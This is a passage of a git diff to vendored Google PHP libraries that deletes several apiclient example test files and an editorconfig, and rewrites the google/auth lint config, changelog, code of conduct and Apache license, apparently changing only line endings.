/dev/null @@ -1,36 +0,0 @@ -loadExample('index.php'); - - $nodes = $crawler->filter('li'); - $this->assertCount(8, $nodes); - $this->assertEquals('A query using simple API access', $nodes->first()->text()); - } -} diff --git a/vendor/google/apiclient/tests/examples/largeFileDownloadTest.php b/vendor/google/apiclient/tests/examples/largeFileDownloadTest.php deleted file mode 100644 index eecbd69628..0000000000 --- a/vendor/google/apiclient/tests/examples/largeFileDownloadTest.php +++ /dev/null @@ -1,59 +0,0 @@ -checkServiceAccountCredentials(); - - $crawler = $this->loadExample('large-file-download.php'); - - $nodes = $crawler->filter('h1'); - $this->assertCount(1, $nodes); - $this->assertEquals('File Download - Downloading a large file', $nodes->first()->text()); - - $nodes = $crawler->filter('a.login'); - $this->assertCount(1, $nodes); - $this->assertEquals('Connect Me!', $nodes->first()->text()); - } - - public function testSimpleFileDownloadWithToken() - { - $this->checkToken(); - - global $_SESSION; - $_SESSION['upload_token'] = $this->getClient()->getAccessToken(); - - $crawler = $this->loadExample('large-file-download.php'); - - $buttonText = 'Click here to download a large (20MB) test file'; - $nodes = $crawler->filter('input'); - $this->assertCount(1, $nodes); - $this->assertEquals($buttonText, $nodes->first()->attr('value')); - } -} \ No newline at end of file diff --git a/vendor/google/apiclient/tests/examples/largeFileUploadTest.php b/vendor/google/apiclient/tests/examples/largeFileUploadTest.php deleted file mode 100644 index 7f85b4d77d..0000000000 --- a/vendor/google/apiclient/tests/examples/largeFileUploadTest.php +++ /dev/null @@ -1,45 +0,0 @@ -checkServiceAccountCredentials(); - - $crawler = $this->loadExample('large-file-upload.php'); - - $nodes = $crawler->filter('h1'); - $this->assertCount(1, $nodes); - $this->assertEquals('File Upload - Uploading a large file', $nodes->first()->text()); - - $nodes = $crawler->filter('a.login'); - $this->assertCount(1, $nodes); - $this->assertEquals('Connect Me!', $nodes->first()->text()); - } -} \ No newline at end of file diff --git a/vendor/google/apiclient/tests/examples/multiApiTest.php b/vendor/google/apiclient/tests/examples/multiApiTest.php deleted file mode 100644 index fcbe798f3f..0000000000 --- a/vendor/google/apiclient/tests/examples/multiApiTest.php +++ /dev/null @@ -1,38 +0,0 @@ -checkKey(); - - $crawler = $this->loadExample('multi-api.php'); - - $nodes = $crawler->filter('h1'); - $this->assertCount(1, $nodes); - $this->assertEquals('User Query - Multiple APIs', $nodes->first()->text()); - } -} \ No newline at end of file diff --git a/vendor/google/apiclient/tests/examples/serviceAccountTest.php b/vendor/google/apiclient/tests/examples/serviceAccountTest.php deleted file mode 100644 index 684a61b158..0000000000 --- a/vendor/google/apiclient/tests/examples/serviceAccountTest.php +++ /dev/null @@ -1,38 +0,0 @@ -checkServiceAccountCredentials(); - - $crawler = $this->loadExample('service-account.php'); - - $nodes = $crawler->filter('br'); - $this->assertCount(10, $nodes); - $this->assertContains('Walden', $crawler->text()); - } -} diff --git a/vendor/google/apiclient/tests/examples/simpleFileUploadTest.php b/vendor/google/apiclient/tests/examples/simpleFileUploadTest.php deleted file mode 100644 index eeff833293..0000000000 --- a/vendor/google/apiclient/tests/examples/simpleFileUploadTest.php +++ /dev/null @@ -1,60 +0,0 @@ -checkServiceAccountCredentials(); - - $crawler = $this->loadExample('simple-file-upload.php'); - - $nodes = $crawler->filter('h1'); - $this->assertCount(1, $nodes); - $this->assertEquals('File Upload - Uploading a simple file', $nodes->first()->text()); - - $nodes = $crawler->filter('a.login'); - $this->assertCount(1, $nodes); - $this->assertEquals('Connect Me!', $nodes->first()->text()); - } - - public function testSimpleFileUploadWithToken() - { - $this->checkToken(); - - global $_SESSION; - $_SESSION['upload_token'] = $this->getClient()->getAccessToken(); - - $crawler = $this->loadExample('simple-file-upload.php'); - - $buttonText = 'Click here to upload two small (1MB) test files'; - $nodes = $crawler->filter('input'); - $this->assertCount(1, $nodes); - $this->assertEquals($buttonText, $nodes->first()->attr('value')); - } -} \ No newline at end of file diff --git a/vendor/google/apiclient/tests/examples/simpleQueryTest.php b/vendor/google/apiclient/tests/examples/simpleQueryTest.php deleted file mode 100644 index 7c3ce9d7bb..0000000000 --- a/vendor/google/apiclient/tests/examples/simpleQueryTest.php +++ /dev/null @@ -1,41 +0,0 @@ -checkKey(); - - $crawler = $this->loadExample('simple-query.php'); - - $nodes = $crawler->filter('br'); - $this->assertCount(20, $nodes); - - $nodes = $crawler->filter('h1'); - $this->assertCount(1, $nodes); - $this->assertEquals('Simple API Access', $nodes->first()->text()); - } -} diff --git a/vendor/google/auth/.editorconfig b/vendor/google/auth/.editorconfig deleted file mode 100644 index aa58b9c56e..0000000000 --- a/vendor/google/auth/.editorconfig +++ /dev/null @@ -1,18 +0,0 @@ -# EditorConfig is awesome: http://EditorConfig.org - -# top-most EditorConfig file -root = true -charset = utf-8 - -# Get rid of whitespace to avoid diffs with a bunch of EOL changes -trim_trailing_whitespace = true - -# Unix-style newlines with a newline ending every file -[*] -end_of_line = lf -insert_final_newline = true - -# PHP-Files -[*.php] -indent_style = space -indent_size = 4 diff --git a/vendor/google/auth/.php-cs-fixer.dist.php b/vendor/google/auth/.php-cs-fixer.dist.php index fde29b3bfd..d0f0ac40fa 100644 --- a/vendor/google/auth/.php-cs-fixer.dist.php +++ b/vendor/google/auth/.php-cs-fixer.dist.php @@ -1,24 +1,24 @@ -setRules([ - '@PSR2' => true, - 'concat_space' => ['spacing' => 'one'], - 'no_unused_imports' => true, - 'ordered_imports' => true, - 'new_with_braces' => true, - 'method_argument_space' => false, - 'whitespace_after_comma_in_array' => true, - 'method_argument_space' => [ - 'keep_multiple_spaces_after_comma' => true, // for wordpress constants - 'on_multiline' => 'ignore', // consider removing this someday - ], - 'return_type_declaration' => [ - 'space_before' => 'none' - ], - ]) - ->setFinder( - PhpCsFixer\Finder::create() - ->in(__DIR__) - ) -; +setRules([ + '@PSR2' => true, + 'concat_space' => ['spacing' => 'one'], + 'no_unused_imports' => true, + 'ordered_imports' => true, + 'new_with_braces' => true, + 'method_argument_space' => false, + 'whitespace_after_comma_in_array' => true, + 'method_argument_space' => [ + 'keep_multiple_spaces_after_comma' => true, // for wordpress constants + 'on_multiline' => 'ignore', // consider removing this someday + ], + 'return_type_declaration' => [ + 'space_before' => 'none' + ], + ]) + ->setFinder( + PhpCsFixer\Finder::create() + ->in(__DIR__) + ) +; diff --git a/vendor/google/auth/CHANGELOG.md b/vendor/google/auth/CHANGELOG.md index dffcd66981..556b1870d4 100644 --- a/vendor/google/auth/CHANGELOG.md +++ b/vendor/google/auth/CHANGELOG.md @@ -1,211 +1,211 @@ -## 1.18.0 (08/24/2021) - - * [feat]: Add support for guzzlehttp/psr7 v2 (#357) - -## 1.17.0 (08/17/2021) - - * [fix]: consistently use useSelfSignedJwt method in ServiceAccountJwtAccessCredentials (#351) - * [feat]: add loading and executing of default client cert source (#353) - * [feat]: add support for proxy-authorization header (#347) - -## 1.16.0 (06/22/2021) - - * [feat]: allow ServiceAccountJwtAccessCredentials to sign scopes (#341) - * [feat]: allow psr/cache:2.0 (#344) - -## 1.15.2 (06/21/2021) - - * [fix]: ensure cached tokens are used for GCECredentials::signBlob (#340) - * [fix]: adds check for getClientName (#336) - -## 1.15.1 (04/21/2021) - - * [fix]: update minimum phpseclib for vulnerability fix (#331) - -## 1.15.0 (02/05/2021) - - * [feat]: support for PHP 8.0: updated dependencies and tests (#318, #319) - -## 1.14.3 (10/16/2020) - - * [fix]: add expires_at to GCECredentials (#314) - -## 1.14.2 (10/14/2020) - -* [fix]: Better FetchAuthTokenCache and getLastReceivedToken (#311) - -## 1.14.1 (10/05/2020) - -* [fix]: variable typo (#310) - -## 1.14.0 (10/02/2020) - -* [feat]: Add support for default scopes (#306) - -## 1.13.0 (9/18/2020) - -* [feat]: Add service account identity support to GCECredentials (#304) - -## 1.12.0 (8/31/2020) - -* [feat]: Add QuotaProject option to getMiddleware (#296) -* [feat]: Add caching for calls to GCECredentials::onGce (#301) -* [feat]: Add updateMetadata function to token cache (#298) -* [fix]: Use quota_project_id instead of quota_project (#299) - -## 1.11.1 (7/27/2020) - -* [fix]: catch ConnectException in GCE check (#294) -* [docs]: Adds [reference docs](https://googleapis.github.io/google-auth-library-php/master) - -## 1.11.0 (7/22/2020) - -* [feat]: Check cache expiration (#291) -* [fix]: OAuth2 cache key when audience is set (#291) - -## 1.10.0 (7/8/2020) - -* [feat]: Add support for Guzzle 7 (#256) -* [fix]: Remove SDK warning (#283) -* [chore]: Switch to github pages deploy action (#284) - -## 1.9.0 (5/14/2020) - -* [feat] Add quotaProject param for extensible client options support (#277) -* [feat] Add signingKeyId param for jwt signing (#270) -* [docs] Misc documentation improvements (#268, #278, #273) -* [chore] Switch from Travis to Github Actions (#273) - -## 1.8.0 (3/26/2020) - -* [feat] Add option to throw exception in AccessToken::verify(). (#265) -* [feat] Add support for x-goog-user-project. (#254) -* [feat] Add option to specify issuer in AccessToken::verify(). (#267) -* [feat] Add getProjectId to credentials types where project IDs can be determined. (#230) - -## 1.7.1 (02/12/2020) - -* [fix] Invalid character in iap cert cache key (#263) -* [fix] Typo in exception for package name (#262) - -## 1.7.0 (02/11/2020) - -* [feat] Add ID token to auth token methods. (#248) -* [feat] Add support for ES256 in `AccessToken::verify`. (#255) -* [fix] Let namespace match the file structure. (#258) -* [fix] Construct RuntimeException. (#257) -* [tests] Update tests for PHP 7.4 compatibility. (#253) -* [chore] Add a couple more things to `.gitattributes`. (#252) - -## 1.6.1 (10/29/2019) - -* [fix] Handle DST correctly for cache item expirations. (#246) - -## 1.6.0 (10/01/2019) - -* [feat] Add utility for verifying and revoking access tokens. (#243) -* [docs] Fix README console terminology. (#242) -* [feat] Support custom scopes with GCECredentials. (#239) -* [fix] Fix phpseclib existence check. (#237) - -## 1.5.2 (07/22/2019) - -* [fix] Move loadItems call out of `SysVCacheItemPool` constructor. (#229) -* [fix] Add `Metadata-Flavor` header to initial GCE metadata call. (#232) - -## 1.5.1 (04/16/2019) - -* [fix] Moved `getClientName()` from `Google\Auth\FetchAuthTokenInterface` - to `Google\Auth\SignBlobInterface`, and removed `getClientName()` from - `InsecureCredentials` and `UserRefreshCredentials`. (#223) - -## 1.5.0 (04/15/2019) - -### Changes - - * Add support for signing strings with a Credentials instance. (#221) - * [Docs] Describe the arrays returned by fetchAuthToken. (#216) - * [Testing] Fix failing tests (#217) - * Update GitHub issue templates (#214, #213) - -## 1.4.0 (09/17/2018) - -### Changes - - * Add support for insecure credentials (#208) - -## 1.3.3 (08/27/2018) - -### Changes - - * Add retry and increase timeout for GCE credentials (#195) - * [Docs] Fix spelling (#204) - * Update token url (#206) - -## 1.3.2 (07/23/2018) - -### Changes - - * Only emits a warning for gcloud credentials (#202) - -## 1.3.1 (07/19/2018) - -### Changes - - * Added a warning for 3 legged OAuth credentials (#199) - * [Code cleanup] Removed useless else after return (#193) - -## 1.3.0 (06/04/2018) - -### Changes - - * Fixes usage of deprecated env var for GAE Flex (#189) - * fix - guzzlehttp/psr7 dependency version definition (#190) - * Added SystemV shared memory based CacheItemPool (#191) - -## 1.2.1 (24/01/2018) - -### Changes - - * Fixes array merging bug in Guzzle5HttpHandler (#186) - * Fixes constructor argument bug in Subscriber & Middleware (#184) - -## 1.2.0 (6/12/2017) - -### Changes - - * Adds async method to HTTP handlers (#176) - * Misc bug fixes and improvements (#177, #175, #178) - -## 1.1.0 (10/10/2017) - -### Changes - - * Supports additional claims in JWT tokens (#171) - * Adds makeHttpClient for creating authorized Guzzle clients (#162) - * Misc bug fixes/improvements (#168, #161, #167, #170, #143) - -## 1.0.1 (31/07/2017) - -### Changes - -* Adds support for Firebase 5.0 (#159) - -## 1.0.0 (12/06/2017) - -### Changes - -* Adds hashing and shortening to enforce max key length ([@bshaffer]) -* Fix for better PSR-6 compliance - verifies a hit before getting the cache item ([@bshaffer]) -* README fixes ([@bshaffer]) -* Change authorization header key to lowercase ([@stanley-cheung]) - -## 0.4.0 (23/04/2015) - -### Changes - -* Export callback function to update auth metadata ([@stanley-cheung][]) -* Adds an implementation of User Refresh Token auth ([@stanley-cheung][]) - -[@bshaffer]: https://github.com/bshaffer -[@stanley-cheung]: https://github.com/stanley-cheung +## 1.18.0 (08/24/2021) + + * [feat]: Add support for guzzlehttp/psr7 v2 (#357) + +## 1.17.0 (08/17/2021) + + * [fix]: consistently use useSelfSignedJwt method in ServiceAccountJwtAccessCredentials (#351) + * [feat]: add loading and executing of default client cert source (#353) + * [feat]: add support for proxy-authorization header (#347) + +## 1.16.0 (06/22/2021) + + * [feat]: allow ServiceAccountJwtAccessCredentials to sign scopes (#341) + * [feat]: allow psr/cache:2.0 (#344) + +## 1.15.2 (06/21/2021) + + * [fix]: ensure cached tokens are used for GCECredentials::signBlob (#340) + * [fix]: adds check for getClientName (#336) + +## 1.15.1 (04/21/2021) + + * [fix]: update minimum phpseclib for vulnerability fix (#331) + +## 1.15.0 (02/05/2021) + + * [feat]: support for PHP 8.0: updated dependencies and tests (#318, #319) + +## 1.14.3 (10/16/2020) + + * [fix]: add expires_at to GCECredentials (#314) + +## 1.14.2 (10/14/2020) + +* [fix]: Better FetchAuthTokenCache and getLastReceivedToken (#311) + +## 1.14.1 (10/05/2020) + +* [fix]: variable typo (#310) + +## 1.14.0 (10/02/2020) + +* [feat]: Add support for default scopes (#306) + +## 1.13.0 (9/18/2020) + +* [feat]: Add service account identity support to GCECredentials (#304) + +## 1.12.0 (8/31/2020) + +* [feat]: Add QuotaProject option to getMiddleware (#296) +* [feat]: Add caching for calls to GCECredentials::onGce (#301) +* [feat]: Add updateMetadata function to token cache (#298) +* [fix]: Use quota_project_id instead of quota_project (#299) + +## 1.11.1 (7/27/2020) + +* [fix]: catch ConnectException in GCE check (#294) +* [docs]: Adds [reference docs](https://googleapis.github.io/google-auth-library-php/master) + +## 1.11.0 (7/22/2020) + +* [feat]: Check cache expiration (#291) +* [fix]: OAuth2 cache key when audience is set (#291) + +## 1.10.0 (7/8/2020) + +* [feat]: Add support for Guzzle 7 (#256) +* [fix]: Remove SDK warning (#283) +* [chore]: Switch to github pages deploy action (#284) + +## 1.9.0 (5/14/2020) + +* [feat] Add quotaProject param for extensible client options support (#277) +* [feat] Add signingKeyId param for jwt signing (#270) +* [docs] Misc documentation improvements (#268, #278, #273) +* [chore] Switch from Travis to Github Actions (#273) + +## 1.8.0 (3/26/2020) + +* [feat] Add option to throw exception in AccessToken::verify(). (#265) +* [feat] Add support for x-goog-user-project. (#254) +* [feat] Add option to specify issuer in AccessToken::verify(). (#267) +* [feat] Add getProjectId to credentials types where project IDs can be determined. (#230) + +## 1.7.1 (02/12/2020) + +* [fix] Invalid character in iap cert cache key (#263) +* [fix] Typo in exception for package name (#262) + +## 1.7.0 (02/11/2020) + +* [feat] Add ID token to auth token methods. (#248) +* [feat] Add support for ES256 in `AccessToken::verify`. (#255) +* [fix] Let namespace match the file structure. (#258) +* [fix] Construct RuntimeException. (#257) +* [tests] Update tests for PHP 7.4 compatibility. (#253) +* [chore] Add a couple more things to `.gitattributes`. (#252) + +## 1.6.1 (10/29/2019) + +* [fix] Handle DST correctly for cache item expirations. (#246) + +## 1.6.0 (10/01/2019) + +* [feat] Add utility for verifying and revoking access tokens. (#243) +* [docs] Fix README console terminology. (#242) +* [feat] Support custom scopes with GCECredentials. (#239) +* [fix] Fix phpseclib existence check. (#237) + +## 1.5.2 (07/22/2019) + +* [fix] Move loadItems call out of `SysVCacheItemPool` constructor. (#229) +* [fix] Add `Metadata-Flavor` header to initial GCE metadata call. (#232) + +## 1.5.1 (04/16/2019) + +* [fix] Moved `getClientName()` from `Google\Auth\FetchAuthTokenInterface` + to `Google\Auth\SignBlobInterface`, and removed `getClientName()` from + `InsecureCredentials` and `UserRefreshCredentials`. (#223) + +## 1.5.0 (04/15/2019) + +### Changes + + * Add support for signing strings with a Credentials instance. (#221) + * [Docs] Describe the arrays returned by fetchAuthToken. (#216) + * [Testing] Fix failing tests (#217) + * Update GitHub issue templates (#214, #213) + +## 1.4.0 (09/17/2018) + +### Changes + + * Add support for insecure credentials (#208) + +## 1.3.3 (08/27/2018) + +### Changes + + * Add retry and increase timeout for GCE credentials (#195) + * [Docs] Fix spelling (#204) + * Update token url (#206) + +## 1.3.2 (07/23/2018) + +### Changes + + * Only emits a warning for gcloud credentials (#202) + +## 1.3.1 (07/19/2018) + +### Changes + + * Added a warning for 3 legged OAuth credentials (#199) + * [Code cleanup] Removed useless else after return (#193) + +## 1.3.0 (06/04/2018) + +### Changes + + * Fixes usage of deprecated env var for GAE Flex (#189) + * fix - guzzlehttp/psr7 dependency version definition (#190) + * Added SystemV shared memory based CacheItemPool (#191) + +## 1.2.1 (24/01/2018) + +### Changes + + * Fixes array merging bug in Guzzle5HttpHandler (#186) + * Fixes constructor argument bug in Subscriber & Middleware (#184) + +## 1.2.0 (6/12/2017) + +### Changes + + * Adds async method to HTTP handlers (#176) + * Misc bug fixes and improvements (#177, #175, #178) + +## 1.1.0 (10/10/2017) + +### Changes + + * Supports additional claims in JWT tokens (#171) + * Adds makeHttpClient for creating authorized Guzzle clients (#162) + * Misc bug fixes/improvements (#168, #161, #167, #170, #143) + +## 1.0.1 (31/07/2017) + +### Changes + +* Adds support for Firebase 5.0 (#159) + +## 1.0.0 (12/06/2017) + +### Changes + +* Adds hashing and shortening to enforce max key length ([@bshaffer]) +* Fix for better PSR-6 compliance - verifies a hit before getting the cache item ([@bshaffer]) +* README fixes ([@bshaffer]) +* Change authorization header key to lowercase ([@stanley-cheung]) + +## 0.4.0 (23/04/2015) + +### Changes + +* Export callback function to update auth metadata ([@stanley-cheung][]) +* Adds an implementation of User Refresh Token auth ([@stanley-cheung][]) + +[@bshaffer]: https://github.com/bshaffer +[@stanley-cheung]: https://github.com/stanley-cheung diff --git a/vendor/google/auth/CODE_OF_CONDUCT.md b/vendor/google/auth/CODE_OF_CONDUCT.md index 77fbc239f8..46b2a08ea6 100644 --- a/vendor/google/auth/CODE_OF_CONDUCT.md +++ b/vendor/google/auth/CODE_OF_CONDUCT.md @@ -1,43 +1,43 @@ -# Contributor Code of Conduct - -As contributors and maintainers of this project, -and in the interest of fostering an open and welcoming community, -we pledge to respect all people who contribute through reporting issues, -posting feature requests, updating documentation, -submitting pull requests or patches, and other activities. - -We are committed to making participation in this project -a harassment-free experience for everyone, -regardless of level of experience, gender, gender identity and expression, -sexual orientation, disability, personal appearance, -body size, race, ethnicity, age, religion, or nationality. - -Examples of unacceptable behavior by participants include: - -* The use of sexualized language or imagery -* Personal attacks -* Trolling or insulting/derogatory comments -* Public or private harassment -* Publishing other's private information, -such as physical or electronic -addresses, without explicit permission -* Other unethical or unprofessional conduct. - -Project maintainers have the right and responsibility to remove, edit, or reject -comments, commits, code, wiki edits, issues, and other contributions -that are not aligned to this Code of Conduct. -By adopting this Code of Conduct, -project maintainers commit themselves to fairly and consistently -applying these principles to every aspect of managing this project. -Project maintainers who do not follow or enforce the Code of Conduct -may be permanently removed from the project team. - -This code of conduct applies both within project spaces and in public spaces -when an individual is representing the project or its community. - -Instances of abusive, harassing, or otherwise unacceptable behavior -may be reported by opening an issue -or contacting one or more of the project maintainers. - -This Code of Conduct is adapted from the [Contributor Covenant](http://contributor-covenant.org), version 1.2.0, -available at [http://contributor-covenant.org/version/1/2/0/](http://contributor-covenant.org/version/1/2/0/) +# Contributor Code of Conduct + +As contributors and maintainers of this project, +and in the interest of fostering an open and welcoming community, +we pledge to respect all people who contribute through reporting issues, +posting feature requests, updating documentation, +submitting pull requests or patches, and other activities. + +We are committed to making participation in this project +a harassment-free experience for everyone, +regardless of level of experience, gender, gender identity and expression, +sexual orientation, disability, personal appearance, +body size, race, ethnicity, age, religion, or nationality. + +Examples of unacceptable behavior by participants include: + +* The use of sexualized language or imagery +* Personal attacks +* Trolling or insulting/derogatory comments +* Public or private harassment +* Publishing other's private information, +such as physical or electronic +addresses, without explicit permission +* Other unethical or unprofessional conduct. + +Project maintainers have the right and responsibility to remove, edit, or reject +comments, commits, code, wiki edits, issues, and other contributions +that are not aligned to this Code of Conduct. +By adopting this Code of Conduct, +project maintainers commit themselves to fairly and consistently +applying these principles to every aspect of managing this project. +Project maintainers who do not follow or enforce the Code of Conduct +may be permanently removed from the project team. + +This code of conduct applies both within project spaces and in public spaces +when an individual is representing the project or its community. + +Instances of abusive, harassing, or otherwise unacceptable behavior +may be reported by opening an issue +or contacting one or more of the project maintainers. + +This Code of Conduct is adapted from the [Contributor Covenant](http://contributor-covenant.org), version 1.2.0, +available at [http://contributor-covenant.org/version/1/2/0/](http://contributor-covenant.org/version/1/2/0/) diff --git a/vendor/google/auth/COPYING b/vendor/google/auth/COPYING index 757e77c0e9..b5d5055a2e 100644 --- a/vendor/google/auth/COPYING +++ b/vendor/google/auth/COPYING @@ -1,202 +1,202 @@ - - Apache License - Version 2.0, January 2004 - http://www.apache.org/licenses/ - - TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION - - 1. Definitions. - - "License" shall mean the terms and conditions for use, reproduction, - and distribution as defined by Sections 1 through 9 of this document. - - "Licensor" shall mean the copyright owner or entity authorized by - the copyright owner that is granting the License. - - "Legal Entity" shall mean the union of the acting entity and all - other entities that control, are controlled by, or are under common - control with that entity. For the purposes of this definition, - "control" means (i) the power, direct or indirect, to cause the - direction or management of such entity, whether by contract or - otherwise, or (ii) ownership of fifty percent (50%) or more of the - outstanding shares, or (iii) beneficial ownership of such entity. - - "You" (or "Your") shall mean an individual or Legal Entity - exercising permissions granted by this License. - - "Source" form shall mean the preferred form for making modifications, - including but not limited to software source code, documentation - source, and configuration files. - - "Object" form shall mean any form resulting from mechanical - transformation or translation of a Source form, including but - not limited to compiled object code, generated documentation, - and conversions to other media types. - - "Work" shall mean the work of authorship, whether in Source or - Object form, made available under the License, as indicated by a - copyright notice that is included in or attached to the work - (an example is provided in the Appendix below). - - "Derivative Works" shall mean any work, whether in Source or Object - form, that is based on (or derived from) the Work and for which the - editorial revisions, annotations, elaborations, or other modifications - represent, as a whole, an original work of authorship. For the purposes - of this License, Derivative Works shall not include works that remain - separable from, or merely link (or bind by name) to the interfaces of, - the Work and Derivative Works thereof. - - "Contribution" shall mean any work of authorship, including - the original version of the Work and any modifications or additions - to that Work or Derivative Works thereof, that is intentionally - submitted to Licensor for inclusion in the Work by the copyright owner - or by an individual or Legal Entity authorized to submit on behalf of - the copyright owner. For the purposes of this definition, "submitted" - means any form of electronic, verbal, or written communication sent - to the Licensor or its representatives, including but not limited to - communication on electronic mailing lists, source code control systems, - and issue tracking systems that are managed by, or on behalf of, the - Licensor for the purpose of discussing and improving the Work, but - excluding communication that is conspicuously marked or otherwise - designated in writing by the copyright owner as "Not a Contribution." - - "Contributor" shall mean Licensor and any individual or Legal Entity - on behalf of whom a Contribution has been received by Licensor and - subsequently incorporated within the Work. - - 2. Grant of Copyright License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - copyright license to reproduce, prepare Derivative Works of, - publicly display, publicly perform, sublicense, and distribute the - Work and such Derivative Works in Source or Object form. - - 3. Grant of Patent License. Subject to the terms and conditions of - this License, each Contributor hereby grants to You a perpetual, - worldwide, non-exclusive, no-charge, royalty-free, irrevocable - (except as stated in this section) patent license to make, have made, - use, offer to sell, sell, import, and otherwise transfer the Work, - where such license applies only to those patent claims licensable - by such Contributor that are necessarily infringed by their - Contribution(s) alone or by combination of their Contribution(s) - with the Work to which such Contribution(s) was submitted. If You - institute patent litigation against any entity (including a - cross-claim or counterclaim in a lawsuit) alleging that the Work - or a Contribution incorporated within the Work constitutes direct - or contributory patent infringement, then any patent licenses - granted to You under this License for that Work shall terminate - as of the date such litigation is filed. - - 4. Redistribution. You may reproduce and distribute copies of the - Work or Derivative Works thereof in any medium, with or without - modifications, and in Source or Object form, provided that You - meet the following conditions: - - (a) You must give any other recipients of the Work or - Derivative Works a copy of this License; and - - (b) You must cause any modified files to carry prominent notices - stating that You changed the files; and - - (c) You must retain, in the Source form of any Derivative Works - that You distribute, all copyright, patent, trademark, and - attribution notices from the Source form of the Work, - excluding those notices that do not pertain to any part of - the Derivative Works; and - - (d) If the Work includes a "NOTICE" text file as part of its - distribution, then any Derivative Works that You distribute must - include a readable copy of the attribution notices contained - within such NOTICE file, excluding those notices that do not - pertain to any part of the Derivative Works, in at least one - of the following places: within a NOTICE text file distributed - as part of the Derivative Works; within the Source form or - documentation, if provided along with the Derivative Works; or, - within a display generated by the Derivative Works, if and - wherever such third-party notices normally appear. The contents - of the NOTICE file are for informational purposes only and - do not modify the License. You may add Your own attribution - notices within Derivative Works that You distribute, alongside - or as an addendum to the NOTICE text from the Work, provided - that such additional attribution notices cannot be construed - as modifying the License. - - You may add Your own copyright statement to Your modifications and - may provide additional or different license terms and conditions - for use, reproduction, or distribution of Your modifications, or - for any such Derivative Works as a whole, provided Your use, - reproduction, and distribution of the Work otherwise complies with - the conditions stated in this License. - - 5. Submission of Contributions. Unless You explicitly state otherwise, - any Contribution intentionally submitted for inclusion in the Work - by You to the Licensor shall be under the terms and conditions of - this License, without any additional terms or conditions. - Notwithstanding the above, nothing herein shall supersede or modify - the terms of any separate license agreement you may have executed - with Licensor regarding such Contributions. - - 6. Trademarks. This License does not grant permission to use the trade - names, trademarks, service marks, or product names of the Licensor, - except as required for reasonable and customary use in describing the - origin of the Work and reproducing the content of the NOTICE file. - - 7. Disclaimer of Warranty. Unless required by applicable law or - agreed to in writing, Licensor provides the Work (and each - Contributor provides its Contributions) on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or - implied, including, without limitation, any warranties or conditions - of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A - PARTICULAR PURPOSE. You are solely responsible for determining the - appropriateness of using or redistributing the Work and assume any - risks associated with Your exercise of permissions under this License. - - 8. Limitation of Liability. In no event and under no legal theory, - whether in tort (including negligence), contract, or otherwise, - unless required by applicable law (such as deliberate and grossly - negligent acts) or agreed to in writing, shall any Contributor be - liable to You for damages, including any direct, indirect, special, - incidental, or consequential damages of any character arising as a - result of this License or out of the use or inability to use the - Work (including but not limited to damages for loss of goodwill, - work stoppage, computer failure or malfunction, or any and all - other commercial damages or losses), even if such Contributor - has been advised of the possibility of such damages. - - 9. Accepting Warranty or Additional Liability. While redistributing - the Work or Derivative Works thereof, You may choose to offer, - and charge a fee for, acceptance of support, warranty, indemnity, - or other liability obligations and/or rights consistent with this - License. However, in accepting such obligations, You may act only - on Your own behalf and on Your sole responsibility, not on behalf - of any other Contributor, and only if You agree to indemnify, - defend, and hold each Contributor harmless for any liability - incurred by, or claims asserted against, such Contributor by reason - of your accepting any such warranty or additional liability. - - END OF TERMS AND CONDITIONS - - APPENDIX: How to apply the Apache License to your work. - - To apply the Apache License to your work, attach the following - boilerplate notice, with the fields enclosed by brackets "[]" - replaced with your own identifying information. (Don't include - the brackets!) The text should be enclosed in the appropriate - comment syntax for the file format. We also recommend that a - file or class name and description of purpose be included on the - same "printed page" as the copyright notice for easier - identification within third-party archives. - - Copyright 2015 Google Inc. - - Licensed under the Apache License, Version 2.0 (the "License"); - you may not use this file except in compliance with the License. - You may obtain a copy of the License at - - http://www.apache.org/licenses/LICENSE-2.0 - - Unless required by applicable law or agreed to in writing, software - distributed under the License is distributed on an "AS IS" BASIS, - WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - See the License for the specific language governing permissions and - limitations under the License. + + Apache License + Version 2.0, January 2004 + http://www.apache.org/licenses/ + + TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION + + 1. Definitions. + + "License" shall mean the terms and conditions for use, reproduction, + and distribution as defined by Sections 1 through 9 of this document. + + "Licensor" shall mean the copyright owner or entity authorized by + the copyright owner that is granting the License. + + "Legal Entity" shall mean the union of the acting entity and all + other entities that control, are controlled by, or are under common + control with that entity. For the purposes of this definition, + "control" means (i) the power, direct or indirect, to cause the + direction or management of such entity, whether by contract or + otherwise, or (ii) ownership of fifty percent (50%) or more of the + outstanding shares, or (iii) beneficial ownership of such entity. + + "You" (or "Your") shall mean an individual or Legal Entity + exercising permissions granted by this License. + + "Source" form shall mean the preferred form for making modifications, + including but not limited to software source code, documentation + source, and configuration files. + + "Object" form shall mean any form resulting from mechanical + transformation or translation of a Source form, including but + not limited to compiled object code, generated documentation, + and conversions to other media types. + + "Work" shall mean the work of authorship, whether in Source or + Object form, made available under the License, as indicated by a + copyright notice that is included in or attached to the work + (an example is provided in the Appendix below). + + "Derivative Works" shall mean any work, whether in Source or Object + form, that is based on (or derived from) the Work and for which the + editorial revisions, annotations, elaborations, or other modifications + represent, as a whole, an original work of authorship. For the purposes + of this License, Derivative Works shall not include works that remain + separable from, or merely link (or bind by name) to the interfaces of, + the Work and Derivative Works thereof. + + "Contribution" shall mean any work of authorship, including + the original version of the Work and any modifications or additions + to that Work or Derivative Works thereof, that is intentionally + submitted to Licensor for inclusion in the Work by the copyright owner + or by an individual or Legal Entity authorized to submit on behalf of + the copyright owner. For the purposes of this definition, "submitted" + means any form of electronic, verbal, or written communication sent + to the Licensor or its representatives, including but not limited to + communication on electronic mailing lists, source code control systems, + and issue tracking systems that are managed by, or on behalf of, the + Licensor for the purpose of discussing and improving the Work, but + excluding communication that is conspicuously marked or otherwise + designated in writing by the copyright owner as "Not a Contribution." + + "Contributor" shall mean Licensor and any individual or Legal Entity + on behalf of whom a Contribution has been received by Licensor and + subsequently incorporated within the Work. + + 2. Grant of Copyright License. Subject to the terms and conditions of + this License, each Contributor hereby grants to You a perpetual, + worldwide, non-exclusive, no-charge, royalty-free, irrevocable + copyright license to reproduce, prepare Derivative Works of, + publicly display, publicly perform, sublicense, and distribute the + Work and such Derivative Works in Source or Object form. + + 3. 